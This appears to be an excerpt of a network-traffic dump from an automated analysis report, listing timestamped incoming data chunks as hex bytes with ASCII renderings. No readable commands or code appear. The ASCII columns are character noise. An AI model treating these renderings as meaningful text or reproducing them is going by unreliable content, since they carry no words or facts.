2022-07-01 09:01:55 UTC 2984 IN Data Raw: ac 77 01 01 3b 40 04 af 41 cf 4c 9c d6 25 ad fc fa cd fc 70 41 6e c3 68 ca c2 a0 39 e3 a9 2d db f1 ae d8 56 72 
57 92 b2 39 a7 05 6d 1e a7 2d ac 6e 96 e3 26 45 11 e4 17 93 b9 6f 6c d6 75 84 e0 6b 76 e0 3b 05 0d ce 39 3c 8f eb d2 
bb c9 7e 1d 47 0b 5c 0b c9 7c c7 66 ca 2d bc 9f 2a 02 39 2c 48 e4 ff 00 b2 3f 3a e6 75 1f 0a 0b 2b f8 be c8 25 bd 67 fb 9e 
54 44 93 db 27 1c 0e 6b d0 a7 5a 9c fd d4 ce 69 53 92 2e f8 7b 45 ba d5 75 0b 89 20 8a 33 0a 30 49 3c d9 55 46 4f 40 41 
20 9f a8 af 7d b7 f8 3f e3 2d 7b 4d f0 ec ba 06 8c d7 3a 9d bd 83 09 25 f3 4c 49 05 b9 0d 8d e0 1f 9d 88 1b 80 1c 91 82 
6b ce 7c 13 f0 eb fb 53 56 d2 e0 d4 e5 8e de 49 a6 48 24 58 9b 73 28 66 03 b6 49 3f 4a fb 3f c2 57 72 d8 fc 37 d6 5e 77 
1e 5d f5 ea e6 62 42 e2 d9 41 50 98 24 1c ec 8d 32 a3 
Data Ascii: w;@AL%pAnh9-VrW9m-n&Eolukv;9<~G\|f-*9,H?:u+%gTD'kZiS.{Eu 30I<UFO@A }?-{M:%LIk|SVIH$Xs(fI?J?
Wr7^w]bBAP$2

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:55 UTC 3035 IN Data Raw: 8a 9c d5 88 ad 37 18 35 23 8b f0 67 c3 fb 4f 10 5c ef 9e d9 64 69 02 bc 51 a9 52 8a 80 f2 5f 9c 86 3e 86 bd c2 
1f 06 68 9f d8 e2 c6 5b 91 25 84 90 85 8e d9 4e e7 ce 7e 66 20 60 60 0e c0 fb d7 87 f8 7f 55 97 c3 fa 90 bb b2 32 12 ac 
43 00 41 62 a7 a9 2a 31 c1 fa e2 bd 9d 35 34 b9 b3 b2 b9 6b c8 88 0a 1d 9e 59 55 7c a6 27 04 60 73 93 f9 d7 76 22 fd 76 
39 30 dc a9 3e e7 11 e2 9f 82 9a 4e 89 7e 35 44 b3 b3 bf d2 2e 62 31 2d a7 da 1a d4 41 21 18 de 5c 06 20 29 1c f6 39 af 
35 f1 6f 83 ae f4 5b 69 6e e4 7b 78 23 ca c4 d6 a2 66 77 3b 94 30 20 92 77 71 d4 8e 9f 8d 7d 37 3c 96 b7 3e 1f 4f b4 4b 
24 56 d0 5c 7e f0 db 0d cc 51 8f 20 65 4e 41 ef fc eb 47 c5 1e 0f d2 a5 f0 c6 a2 da 85 90 bb 5b 49 56 2b 6d 52 e3 6c 86 
60 e3 2f b5 47 21 82 e3 2d 9e dd 2b 15 8a 95 36 af aa 
Data Ascii: 75#gO\diQR_>h[%N~f ``U2CAb*154kYU|'`sv"v90>N~5D.b1-A!\ )95o[in{x#fw;0 wq}7<>OK$V\~Q eNAG
[IV+mRl`/G!-+6

2022-07-01 09:01:55 UTC 3051 IN Data Raw: eb f8 d6 7d d6 81 2c 4a 0a 5a 31 45 1b 81 90 95 2a 3d 48 3c e0 fa 7e 95 f2 91 cc a2 da b2 69 8e 55 21 6b a8 
ea 70 c5 a2 b7 b6 8c c2 01 65 62 df 67 8c b6 e0 08 ea 32 31 f8 66 ac 9d 56 f6 fa c1 da 13 89 a2 e5 ad 8c 41 88 1f de 03 
af d7 a8 ad d8 e7 b4 bb 47 df c1 8d 89 db b4 af 5e 06 38 e0 7e b5 72 cb 44 79 6e 03 c1 a7 99 01 1f f1 f2 22 e9 f8 fa 56 8f 
33 57 d6 0e e8 c1 62 2e ed 6b 9c c7 f6 c2 df 43 1c 51 a4 76 52 8c e4 b4 68 cc c4 fd 30 48 f6 3d 2a c4 76 b3 5e bc 10 3e 
9c 27 9f 61 65 b8 85 76 ee 04 74 e0 f2 47 5c 11 5d 4c ba 5b c3 86 1a 7d b8 94 72 19 a3 52 c3 b7 5c 67 34 d8 2c 2f 11 90 
81 14 6a 39 0a ab 92 31 cf 18 ef fa d2 79 97 55 12 dd 5b f4 33 2d 2c 56 7b 77 8e 73 27 9d 1f 0c a2 56 0e 7d 09 03 1c 8f 
6e 7e b5 35 cf 87 6e af f0 23 94 47 e5 9d c2 56 6d c5 
Data Ascii: },JZ1E*=H<~iU!kpebg21fVAG^8~rDyn"V3Wb.kCQvRh0H=*v^>'aevtG\]L[}rR\g4,/j91yU[3-,V{ws'V}n~5n#GVm

2022-07-01 09:01:55 UTC 3075 IN Data Raw: 5d 52 5b bf 2a 32 ba 8b 5c de 79 6a 19 dd a4 d9 0b c4 81 72 14 60 b1 27 80 c3 1c f2 1e 15 f0 6e 85 e3 4d 07 
c4 5e 2e bb f8 6d ae 26 a9 77 aa 43 13 ea 32 eb 2c d3 de cd 26 59 9a 23 2d b1 65 55 ea d8 18 25 80 e3 b7 57 a3 fe d3 
d6 37 72 4e 34 8d 77 4d 9c 43 fb a9 a3 b0 91 47 94 41 fb ac 11 46 d2 39 eb 55 fc 2d fb 5f 78 7e e3 c6 b7 3a 7f 89 74 cb 
8d 2b 4d b7 92 44 b0 f1 03 6a 52 3f 9d 73 1a 06 60 d0 1f b9 19 0c db 5b 27 24 72 06 41 af 1a 38 4a 14 a8 ca 10 c3 a7 65 
7d 7d 6f b6 ec ef a3 46 34 27 19 d5 ad cd 77 d3 fc fa 59 f5 fc 0c dd 72 f2 0f 81 fa 4f 87 b5 58 3c 41 2e 8f a7 ea 86 5b 1b 
a9 2f d2 4d 45 e1 b8 49 04 ca a1 10 20 24 e0 fc c7 07 a8 e7 35 e6 7a f7 ed 63 ad 78 96 d7 5b 6b cb 3d 3f 52 8a e5 d9 2e 
16 e6 c2 e1 26 ba 8c fc a7 0c b3 01 ca 00 76 8e 3b 54 bf 
Data Ascii: ]R[*2\yjr`'nM^.m&wC2,&Y#-eU%W7rN4wMCGAF9U-_x~:t+MDjR?s`['$rA8Je}}oF4'wYrOX<A.[/MEI $5zcx[k=?
R.&v;T

2022-07-01 09:01:55 UTC 3091 IN Data Raw: 20 b9 2e f4 d3 7e 8b 6f c2 c2 74 e1 2f 79 c7 7d 7f cc e4 ad fe 11 f8 26 26 77 b3 f0 67 87 e0 92 57 25 da da d7 
cb 2c 7a 92 48 00 93 9f 5c d4 91 7c 2d f0 84 12 47 31 f0 5e 8b 6f 76 bc 09 a3 80 6f f4 38 7c e4 64 71 d7 a7 1e d5 d2 34 
53 cc a7 f7 ec eb 91 fb bd bc 75 ed 8f c0 f5 35 47 ec 37 73 34 e1 77 4a eb 8e 64 ce e2 0f 3d 38 cd 74 46 bd 55 7b 4d fd 
e6 3e c6 97 f2 2d 0c 55 f0 7e 81 a4 5d 5d dc d8 f8 5f 45 82 fa e5 81 9a 68 ed d0 48 e0 74 dc db 7e 62 3e b4 c7 f0 ce 85 
70 c6 59 74 0d 2a 79 89 2a de 6d a4 20 1c 67 92 76 ff 00 fa eb 4a 5d 22 48 e4 4d d0 63 cc 00 96 c3 76 1e e7 8f c3 a5 44 
9a 54 41 92 29 3c bd cc 46 d0 54 8d cb 9e 79 c8 ee 69 7b 49 b7 77 26 57 2c 52 b2 45 14 d2 34 88 d1 02 f8 73 43 45 3c 
95 5b 58 f9 f4 ca 95 c1 c1 e4 71 c5 6c 2e b6 d1 a1 88 5b 
Data Ascii:  .~ot/y}&&wgW%,zH\|-G1^ovo8|dq4Su5G7s4wJd=8tFU{M>-U~]]_EhHt~b>pYt*y*m gvJ]"HMcvDTA)<FTyi
{Iw&W,RE4sCE<[Xql.[

2022-07-01 09:01:55 UTC 3107 IN Data Raw: ce 2e b4 6d 45 b2 73 90 43 06 e3 f2 ac 5e 16 b7 6f c5 15 f5 ca 4b af e0 ca 69 67 24 72 3c 24 ac 8d e6 10 04 
6c 18 f3 e9 83 fa f3 40 b1 97 cb 4f de c2 23 f9 48 fd e0 c8 3c e0 1e 9f ad 67 c9 e2 dd 5a cd 9e 76 f0 06 81 2c b2 30 26 de 
fb 46 bb 8d 61 53 d5 55 83 06 23 d0 92 4d 6b 69 9f 15 b6 c8 9f 69 f8 4d a1 5e c4 87 39 b6 b2 bb 4d a7 1c 10 77 93 8f 5c 
8a a5 84 af 74 9c 7f 14 4f d7 28 ef 7f c0 ab 96 18 47 da e4 03 85 8f 8e 73 ec 71 cd 02 ff 00 ce 9b 2d 17 98 e3 85 00 8c 01 
fd de bc f3 5a da 87 c6 cf 0f 69 30 a3 5d fc 23 d2 d0 b9 06 49 a5 5b a8 23 65 cf cc 14 bb 64 7b 1c 7e 15 47 50 fd a1 bc 
11 a7 3c b6 f6 ff 00 09 3c 3b aa 16 65 68 6e a0 d5 25 8e 0d 9c 6e 0f e6 28 7d f8 ce 30 31 9c 66 a9 e1 6b 2d a3 f9 7f 98 
96 2e 8d f7 21 69 44 28 1a 45 54 c6 4f fa cc 95 cf 
Data Ascii: .mEsC^oKig$r<$l@O#H<gZv,0&FaSU#MkiiM^9Mw\tO(Gsq-Zi0]#I[#ed{~GP<<;ehn%n(}01fk-.!iD(ETO

2022-07-01 09:01:55 UTC 3115 IN Data Raw: fd b2 f9 12 2d a0 12 09 89 a4 04 0c e0 6d 20 74 07 15 cd 6a bf b5 e7 80 7c 4e cf 6f 6d e1 2d 3f 4e b7 92 dd a3 
6b ef dd 19 d4 9e 0e c0 91 90 18 76 27 f3 af 3e 4a b4 52 71 81 ac 9d 18 b7 27 3d ce 48 78 3e 3f 1e c2 fe 6e 8f 6f 06 aa 
d2 16 88 ee 54 b8 56 03 68 6d c2 40 cc c3 ae d1 db 9a d9 f8 35 f0 bf 54 f0 95 f6 a7 73 aa f8 b2 de 48 6e 01 92 16 8e 38 
da 68 08 52 33 97 90 8c 01 d5 39 20 12 71 cd 70 1a 77 89 ee 64 bd bc d4 6c ae 65 f1 29 78 3c 92 f6 ff 00 7e 08 fe e9 66 
24 16 ce d2 32 40 1c 83 c5 7a 6c bf 13 bc 2d e1 6f 07 c5 1a 78 a7 4c 8e 39 60 ff 00 4e dc a8 e4 48 98 2b f6 6c c6 59 9c 
82 37 b6 55 4f 4c 9c 1c 63 7a d2 8b 84 15 fc 8c e9 d4 87 32 9c ba 1e a5 a5 69 1a 9e b5 e1 8b 7d 46 ef c4 1a 2d 87 d9 a1 
65 96 4d 36 e2 26 59 63 01 82 bb 20 52 43 15 e5 97 19 
Data Ascii: -m tj|Nom-?Nkv'>JRq'=Hx>?noTVhm@5TsHn8hR39 qpwdle)x<~f$2@zl-oxL9`NH+lY7UOLcz2i}F-eM6&Yc RC

2022-07-01 09:01:55 UTC 3131 IN Data Raw: dd bb f3 e9 c0 15 ce d9 f8 42 f2 c9 80 3a 3e ab 28 3e 85 98 7f 5a de b0 f0 35 cd cf cf ff 00 08 fd fc 43 d6 5c af 
eb 54 1b 9d 67 87 be 07 e9 c1 01 9b 5f d5 ae c0 19 fd e8 0c 3f f1 d3 49 ae fc 09 9e f1 ff 00 e2 5d aa 46 00 e0 7d a2 dd 8f 
f3 6a 82 cb c2 f7 f6 6a 44 76 18 18 ff 00 9f c0 0f e5 57 6d df fb 3e 5c 4b 13 47 27 4e 6f 9b 03 f2 a0 11 88 9f b3 fe bb 0f 5d 
57 49 fa b5 be 3b ff 00 bd 4e 1f 08 67 b2 62 6e 75 5b 49 58 1e 45 ac 28 4f 1e 99 6a f4 7d 33 58 76 84 1f b6 5b 22 e3 a4 
d7 d2 91 f9 66 b6 b4 fb d9 4c 80 45 a8 68 e0 fb f9 ef f9 52 dc 67 91 5b f8 3c 5b 38 22 5d 52 20 33 fb c8 ad e0 c7 f3 ad cd 
3f c0 d0 5f a8 03 c4 77 f0 37 71 35 bc 20 ff 00 3a f4 bb 8b a8 36 e2 ef 5c d3 e0 1d fc bb 2b 96 1d 7e b5 77 4c d1 74 ed 41 
4f d9 35 cd 26 47 3d 7c cd 1e 52 4f 
Data Ascii: B:>(>Z5C\Tg_?I]F}jjDvWm>\KG'No]WI;Ngbnu[IXE(Oj}3Xv["fLEhRg[<[8"]R 3?_w7q5 :6\+~wLtAO5&G=|RO

2022-07-01 09:01:55 UTC 3163 IN Data Raw: 9a d9 04 a2 41 70 84 64 09 5a 26 5c fa 82 47 eb 59 3e 20 86 6d 53 c1 b1 69 f6 16 f3 5d dc 48 f1 cd b4 ae 3e 
45 20 9c d5 5d 56 eb 50 be d4 24 32 e9 57 50 49 a8 af 97 04 7e 5e 41 21 7f c2 bc 3c 43 6d f3 45 eb 7f f2 ff 00 83 f7 1e cd 
38 c6 3e eb d8 ef 34 bd 07 c2 da 8d cc 56 b3 47 0d c5 b8 8c 92 d1 4a a6 53 8f f6 b3 91 f5 ac 5f 08 68 56 17 d1 ea 17 11 
db cd 25 b7 9d 23 45 1d cc 8b 94 40 c5 54 15 23 1c 01 d7 bd 78 8d bf 86 b5 bd 2a e4 5a dd e9 d7 50 a2 cc c5 8e d3 8e 
71 c7 15 e9 49 aa a5 9e 8e 91 47 33 41 72 17 68 8d ba e3 3c 70 6b 8f 1d 87 9d 38 a8 c2 7c d7 ea 5e 1a b4 66 ef 38 5a c7 
a0 c1 a7 cb a5 dc e6 d1 26 8e 34 80 6e 11 ed 1b 72 73 9e 07 26 99 a8 df 5d df 30 b3 b8 96 6b 98 27 db be 30 17 7f 07 20 
82 30 78 c7 38 22 ae f8 63 4b 8b c5 9e 54 c9 77 16 9c 91 
Data Ascii: ApdZ&\GY> mSi]H>E ]VP$2WPI~^A!<CmE8>4VGJS_hV%#E@T#x*ZPqIG3Arh<pk8|^f8Z&4nrs&]0k'0 0x8"cK
Tw

2022-07-01 09:01:55 UTC 3170 IN Data Raw: 9a b7 97 ea 73 4a 84 25 ba bf cc f3 cb 7f d8 6f 49 8e c2 49 75 cd 33 c4 56 f2 ab 30 c5 85 dd bd d2 94 3e 80 aa 
b6 3d 88 cd 4b ff 00 0c 1d e0 18 af 0b c7 79 e2 48 54 a2 ba 92 30 54 0e 78 6d a0 03 ec 41 af a4 fc 3f e0 1f 1a e8 76 3e 
44 fe 39 93 57 95 54 6d 32 e9 c0 29 39 ce dc 89 09 c7 63 c6 6b 72 1d 2f c6 0f a7 db b5 de a5 63 67 75 90 18 45 0e f8 c9 
cf 18 04 0c 7d 6a 3d f8 bb c2 a5 97 f5 dc da 9d 1a 0d 7b f4 d5 fc ff 00 e0 1f 2d c5 fb 17 f8 46 d6 4f b4 69 be 28 f1 26 8d 1c 
8c ad 91 75 19 e9 d5 c6 76 ed cf 71 da 92 e7 f6 15 f0 66 a9 6a 56 d3 54 d6 a5 78 e5 33 7c d1 23 a3 bb 0c 12 d8 5c 1c f5 
3c f5 af aa 35 cb 5d 62 d6 d6 54 6b cd 2e d8 ed 38 6b 9b 52 cb b8 ff 00 78 64 71 f4 39 af 28 f1 94 fe 38 b6 f3 27 96 cf c1 
b7 f6 c5 76 db 9b 43 2a c8 e3 38 fe f0 23 27 
Data Ascii: sJ%oIIu3V0>=KyHT0TxmA?v>D9WTm2)9ckr/cguE}j={-FOi(&uvqfjVTx3|#\<5]bTk.8kRxdq9(8'vC*8#'

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:55 UTC 3218 IN Data Raw: c9 eb 69 19 fb 18 ef ca 71 7a cf 85 75 d9 2f e4 82 e8 79 b3 20 67 2d 0c a5 7a f2 7a 01 59 27 c0 0b 35 bc 6e f7 
32 a4 ea 7f d5 cd f3 a9 c9 af 4c b7 f0 e6 a5 35 f2 4f f6 c9 64 32 28 27 a9 24 7a 67 d2 ba 66 f8 75 33 bc 12 01 b4 4a d8 39 
52 7f 1a 25 98 4e 3a dc 8f ab 27 a2 89 e1 fa 97 c3 8d 4e 2d 92 45 1c 52 80 01 02 21 8c 54 76 fe 1f d6 74 c6 54 12 cd 6d 
31 27 04 67 00 7a 70 7b d7 b6 0d 32 4b fb b9 6d dc 8d b9 d8 76 82 3a 70 2b b0 7f 87 51 7d 96 20 9e 56 36 8c 86 18 20 
e3 d6 ad 63 e7 61 ac 34 2e ec 7c d9 07 83 fc 42 d7 f1 ce 03 5d a9 39 2d 1b e3 8e e3 db eb 52 eb ba 17 89 42 4a e6 da 
ee 4b 5d db b6 c9 39 91 40 1e 83 df bd 7d 0d 75 e1 e9 ec 6c 63 86 0b 78 de 55 00 0f 2f 8e f8 19 cd 53 7d 1e fa c9 77 c8 
0c 87 3f bc 8f 39 18 eb 8f f2 29 7f 68 4a f7 69 16 b0 91 
Data Ascii: iqzu/y g-zzY'5n2L5Od2('$zgfu3J9R%N:'N-ER!TvtTm1'gzp{2Kmv:p+Q} V6 ca4.|B]9-RBJK]9@}ulcxU/S}w?9)hJi

2022-07-01 09:01:55 UTC 3234 IN Data Raw: ec cc e0 75 31 60 ff 00 3a b5 a7 fe f9 64 90 23 40 37 8e 24 c0 3f a5 4d e1 9d 46 da 28 70 fb 86 32 32 be e2 a4 
6f 2e 69 1c 86 38 24 e0 60 76 fc 6b 86 a3 b4 9c 5a b1 d9 0b 38 a6 99 5e e6 39 1d f1 e7 c6 9d 46 18 f1 f8 66 ab 43 66 d2 
6f 47 2a 3a f3 91 cf e5 ed 5a 6c 60 d8 44 a1 4a ed 39 dd e9 8e d5 5e de 3b 26 57 f9 94 6e 01 79 eb 43 ad cb 1b 45 14 d2 
93 3c bb 54 4b 88 f5 69 62 57 93 68 24 2f 1c 7e 15 d4 da 4d 34 b6 b0 89 61 62 15 70 18 a0 27 f4 ae 3d 58 8f 10 de c4 6e 
e6 44 47 6d b1 ee c8 fc 2b b3 d2 8c 92 28 47 95 9d 55 40 c9 ed f8 d7 d0 e2 95 a9 c5 9e 4d 2d 66 c4 5b e6 b7 be 89 58 34 
65 5b 20 95 3c 71 d6 b7 ad 27 32 79 81 9c 92 4e 72 7a b7 e7 8a e7 44 d2 36 ad b1 37 15 4c 15 c1 3c 1f c6 ba 48 18 c8 
e5 44 92 96 6e 72 71 5e 3e 25 2e 55 a6 a7 6d 3d da 66 16 
Data Ascii: u1`:d#@7$?MF(p22o.i8$`vkZ8^9FfCfoG*:Zl`DJ9^;&WnyCE<TKibWh$/~M4abp'=XnDGm+(GU@M-f[X4e[ <q
'2yNrzD67L<HDnrq^>%.Um=f

2022-07-01 09:01:55 UTC 3258 IN Data Raw: d4 5d 82 51 49 5c a0 8c 7f b2 bf d5 02 42 80 3c b3 db da a8 47 f2 5b e4 a4 c1 8e 71 9c 1c 7d 38 ab 09 65 6f 
24 2a 82 59 23 03 dc 0c 7e 55 5e ee c6 4b 46 f9 2e 5b 6e 3e f0 70 49 cf b0 e6 bd 28 72 dd ab 99 dd b5 a1 0d c4 93 43 72 
1b 12 15 5e 30 f1 64 e7 ea 2b 62 ca 56 b8 86 20 64 f9 83 1c 0e 54 e3 e8 6b 31 20 ba 65 c8 9d 89 3c 12 18 e4 8f 53 91 8a 
d5 b1 67 da 8a 41 21 4e 0e ee b9 f6 35 55 2d ca 2b d9 8f 96 cd 24 5d d2 a0 3c 91 95 24 1f d3 9f ce 92 ea c6 28 6c 7c e2 
f2 f9 78 c0 fd e1 3c 9e 3a f6 ad 7d 3e 58 e3 70 62 8f cd 24 f4 c7 3f 95 45 e2 49 d2 48 60 88 06 46 67 05 86 30 31 ef 5e 72 
a9 29 4d 42 c6 ea 36 4e 47 3f a9 5b a8 b7 2a f2 93 b9 40 00 92 4f 4e 95 83 a7 69 70 5d dc 12 72 15 4f 3f 37 7a d4 f1 21 
66 40 52 7c 76 27 8c 0f cf bd 51 f0 e7 cb e6 3a de 47 
Data Ascii: ]QI\B<G[q}8eo$*Y#~U^KF.[n>pI(rCr^0d+bV dTk1 e<SgA!N5U-+$]<$(l|x<:}>Xpb$?EIH`Fg01^r)MB6NG?
[*@ONip]rO?7z!f@R|v'Q:G

2022-07-01 09:01:55 UTC 3306 IN Data Raw: 6f 19 fc 81 a5 56 1d f9 03 bd 37 47 4d 47 cc 5d 17 19 6c 1e fc 52 34 98 e3 91 55 d5 83 70 a7 9f 7a 0c 4c 58 
91 de b2 e5 51 76 0e 72 c7 da 14 36 01 27 14 1b b0 bc 67 27 b5 55 78 98 2f 18 3f d6 a3 c1 5e c7 8f 5a d1 53 8b d4 ae 72 
e2 df 32 f3 80 69 eb 7d dd 85 50 04 b2 f4 27 9a 3c d6 1c 6c 3e 9c 8a 1d 18 d8 39 cd 05 bd 42 d8 dd f9 d4 a2 64 6e b8 fc 
0d 65 09 be 6e 7b 52 ac 84 70 08 07 b7 e1 59 ba 09 2d 07 cc 68 c8 49 fb ac 39 a0 61 54 83 b4 f6 aa 09 36 de 70 0d 49 f6 
a0 14 83 d7 3d 6a 7d 93 b5 8a 52 45 ed aa 17 03 fe fa fa d3 36 e7 a9 19 1d 2a af da 32 dd 41 3d fb 7f 2a 68 98 96 c8 ac 
fd 9b 5b 8e e5 a3 19 e7 27 93 4d 0b 86 ce 78 a6 ac bf 2f 3f 37 4f f2 69 e0 87 c7 03 14 6a b7 0e 61 c3 e7 5c 31 6f 61 8a 
38 db 93 c7 f8 53 72 87 20 8f ff 00 5d 39 63 8d b3 8e 47 
Data Ascii: oV7GMG]lR4UpzLXQvr6'g'Ux/?^ZSr2i}P'<l>9Bdnen{RpY-hI9aT6pI=j}RE6*2A=*h['Mx/?7Oija\1oa8Sr ]9cG

2022-07-01 09:01:55 UTC 3322 IN Data Raw: e5 a4 93 0a 5b 39 f4 a7 ac c4 f7 aa e9 21 1f 4e 94 ef 33 e5 c9 fc b3 47 90 d4 8b 0b 30 2d 8f cf fc ff 00 2a 91 
65 3d fb 7b d5 55 75 2a 30 98 1f 5e d4 06 03 24 f2 07 f5 a9 b1 5c e5 e6 9b 63 72 7f 1a 7a 4c 78 c9 62 a0 e0 83 fc ea a0 
64 66 00 72 69 0b ee e3 a7 b9 ed 50 fb 15 cf 72 e8 98 6e c6 7a 74 fe a6 85 99 4e 06 33 d6 a9 8e 79 3c fb d3 92 4c 37 1d 
ff 00 ce 28 8c 4a e6 2e f9 83 6f 23 af bd 3b cd 2a b8 1d 2a 90 b8 3b 18 b6 31 4a 24 3b 72 4f 38 e3 8a 6e 05 29 97 44 bb 
97 07 a7 a0 a7 29 ca 80 5b 03 d8 e3 35 49 24 c2 f1 d3 8e d4 f5 90 d4 49 3b 17 cc 5a 20 77 3f 5c 73 4f 00 0e 33 90 6a 9e 
f0 17 03 ee e7 35 20 95 55 7a e7 1f 85 35 b5 c6 a4 5b 2c 47 a0 14 79 99 63 9e 7e bf ce aa f9 99 5c 0e 9d 8d 39 5b e5 c1 
fc a8 6a eb 41 f3 6a 58 59 40 5e dc d4 89 3e 17 04 f4 
Data Ascii: [9!N3G0-*e={Uu*0^$\crzLxbdfriPrnztN3y<L7(J.o#;**;1J$;rO8n)D)[5I$I;Z w?\sO3j5 Uz5[,Gyc~\9[jAjXY@^>

2022-07-01 09:01:55 UTC 3337 IN Data Raw: 8c e3 35 21 b8 23 82 79 e6 b2 21 69 8a 64 26 47 73 9c 55 98 99 97 96 e7 1d 7f fd 75 0e 3d 8a e6 d3 52 f9 9b 
18 24 ef 3d 36 e6 93 ce 1b 94 e0 66 b3 c4 fb db 05 09 38 f5 fe 55 23 4d b7 00 72 4f 4c 0e 79 a1 46 da 03 a8 ba 17 19 95 
b9 23 8e d9 34 7d ad 02 e1 48 ec 39 aa e9 37 cb 91 d0 fa d2 29 40 ff 00 32 61 ba f0 28 70 ee 0a 56 d4 ba b3 7c b9 c8 00 
8e 30 6a 36 9d b7 0e 7e a4 7b 55 7f 30 6e 18 38 5f 41 49 e7 2f 23 be 3f 9d 67 ec c7 2a 8c ba b3 02 a0 f3 f8 fb d1 28 57 
52 0e 47 b8 f5 aa ab 28 5e 0e 4e 78 eb 46 fe a4 cb 9f 63 f5 a4 a2 38 cc 94 c0 a3 00 48 c1 4e 7a d2 f9 6e 8a 44 52 e3 f0 
cd 57 69 17 9c 9f cf ad 33 2d 17 cc a4 f3 ea 7a 7e 75 4a 3c c5 73 ea 5d 06 52 a7 74 91 95 fa 52 c4 01 60 0e 08 eb c1 ed 
59 93 dd 3c 7f 32 be c3 df 3d a9 8b 7c e5 7e fb 13 8e 33 
Data Ascii: 5!#y!id&GsUu=R$=6f8U#MrOLyF#4}H97)@2a(pV|0j6~{U0n8_AI/#?g*(WRG(^NxFc8HNznDRWi3-z~uJ<s]Rt
R`Y<2=|~3

2022-07-01 09:01:55 UTC 3369 IN Data Raw: e4 de a6 ea 6a 11 f9 9b 43 1c 91 d4 1a b9 77 a8 18 6d 5e 41 87 50 33 cb 0c fe b5 e3 31 78 d0 cd a9 1c 95 c0 
3c 0d d5 67 c5 1e 39 7b 7d 2d c1 23 68 19 c0 39 ed d6 b9 a7 57 96 0e 47 4c 69 ae 6b 6c 6e 5d 78 a8 49 aa 79 61 86 73 
ea 3f a5 74 17 5e 27 48 2c 03 09 30 d8 e3 e6 e0 7e 75 f2 f5 a7 c4 58 64 d6 18 12 59 b7 63 00 77 ae b7 59 f1 f2 3d 8c 61 
64 60 71 d3 a1 15 cd 1a d6 8d d9 ac a3 ae 9d 0f 7e d1 7c 5c cb 0f 27 2a 39 dc 31 cf e7 58 1f 10 bc 6e b6 fa 6b 94 05 0f 
3c a9 07 f4 af 2a d1 7c 6c 8b 6a 83 ed 60 1c 77 e2 b9 2f 89 3e 32 6b 8b 62 89 20 f9 8f 55 19 1f a5 65 39 47 49 47 72 e9 
ca ca ed 9d 9e 91 e3 86 6b 69 dc bc 83 19 e3 35 e0 9e 36 f1 b4 f2 f8 a9 ce f2 14 39 c1 6e 41 e6 b5 2c 35 f9 6d f4 99 40 
79 24 38 24 05 38 cf d2 bc 9f 58 92 7b fd 51 e5 79 64 2d 9f 
Data Ascii: jCwm^AP31x<g9{}-#h9WGLikln]xIyas?t^'H,0~uXdYcwY=ad`q~|\'*91Xnk<*|lj`w/>2kb Ue9GIGrki569n
A,5m@y$8$8X{Qyd-

2022-07-01 09:01:55 UTC 3393 IN Data Raw: 54 82 36 6e 53 fb c6 23 1c 7b d5 18 a3 bb b7 b8 c4 53 ac 8b c6 41 53 82 3e b5 ad 65 aa 12 b8 68 8f cd c9 1c 
37 e5 57 20 9d 64 50 92 db 94 0c 48 24 91 c8 f4 ae 7b b8 df 9a 20 bc 8c 0b ed 2d ae 9c 30 48 9e 42 0e 7f ce 29 d1 69 ed 
6c 81 51 00 03 83 cd 75 72 d8 a4 30 b8 89 08 04 11 81 d3 f3 ae 76 ee de fb 82 89 90 08 3c 77 a9 a7 51 cf 4e 83 b5 b5 64 
43 4f 68 d5 1d 64 85 f7 82 e0 e4 71 ec 78 c8 a6 ef cb ac 4f 17 94 ec 32 4f 50 4f d6 99 fd a5 73 1c 25 1a 0d e3 d7 6e ec 52 
db cf 2c fb 19 a1 67 5f f6 87 02 b6 e5 97 da 1e 82 dc a1 b4 b5 32 3c 64 a0 e3 2b d3 3f 9e 69 da 5c c2 f6 19 19 63 f3 b8 ff 
00 56 a0 96 e3 b9 c7 41 4d bd 87 cf e3 e6 dc 38 c0 24 1a d2 d0 ad be ce bb 8e 63 3d 1b 6b 64 9f ae 2b 29 b5 cb e6 0f c8 
22 61 63 08 69 92 60 3e f6 00 e2 b6 ed 34 bb 4b f8 
Data Ascii: T6nS#{SAS>eh7W dPH${ -0HB)ilQur0v<wQNdCOhdqxO2OPOs%nR,g_2<d+?i\cVAM8$c=kd+)"aci`>4K

2022-07-01 09:01:55 UTC 3514 IN Data Raw: 2a 68 1b b9 61 e4 cb 02 49 fa d3 77 0d d8 39 c1 eb 55 9a f1 9d 42 1f 4a 45 98 6e 19 3e 94 d0 f6 2f 47 20 eb 
8e 3a 51 cb b0 27 77 1d aa ba b7 a1 fa 64 d2 89 b1 d4 f4 e7 34 87 77 d0 be b7 00 67 73 81 8c 67 15 04 d7 5b d9 c6 73 cf 
15 9c f2 82 d9 1f 77 3d 2a 37 9c 07 f9 7f 9e 68 51 1f 32 72 d4 d8 87 2e 80 13 d6 ac 28 23 96 1d b1 58 f6 fa 9a a6 37 f4 19 
c5 5d 4b f1 2a f1 86 ee 6a 5a 63 97 91 65 58 76 eb eb fe 35 60 c9 94 db 90 4f fb 55 44 ca 03 2e 3a f2 69 63 9b 73 73 f5 
a8 7a 8b 98 bd 1c e5 72 38 3e f8 e9 51 79 de 6f 27 a0 ef 55 de e7 6a 39 03 19 ee 6a 14 99 bf 0c 50 bc 84 e6 5b 95 d4 23 
82 d9 1e df d6 a2 88 ab 2e 71 c1 a8 0f dc c6 3f c9 a2 22 ca a4 1c 11 e8 3a d5 ad 87 cd a9 64 48 dc 32 8c 0c 63 35 3f da 
77 a0 19 d8 47 02 b3 45 d0 df 82 7e 5f 6a 78 95 4e 49 
Data Ascii: *haIw9UBJEn>/G :Q'wd4wgsg[sw=*7hQ2r.(#X7]K*jZceXv5`OUD.:icsszr8>Qyo'Uj9jP[#.q?":dH2c5?wGE~_jxNI

Timestamp
kBytes
transferred

Direction Data
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2022-07-01 09:01:55 UTC 3546 IN Data Raw: e6 6e e5 0e 7a f3 da aa 44 c2 7f 90 f7 3c 54 c2 31 16 54 9c 63 a7 3e 94 ae 3b bd 89 21 dd 23 80 48 dc 78 1d 
b9 35 a6 da 3d ca a0 60 f1 10 c3 95 32 0c f1 59 41 d7 77 04 91 e9 4b 31 2a a8 40 fc ea 5d de c5 46 d7 d4 ad 7f fb dd f0 
3e 50 a9 c6 41 e7 f0 35 55 95 57 e6 32 94 c7 5c 9c 9f a5 5a 9f 6c c3 6b 61 47 b5 56 68 d5 d4 87 fa e3 a7 e5 5b 2b 59 26 
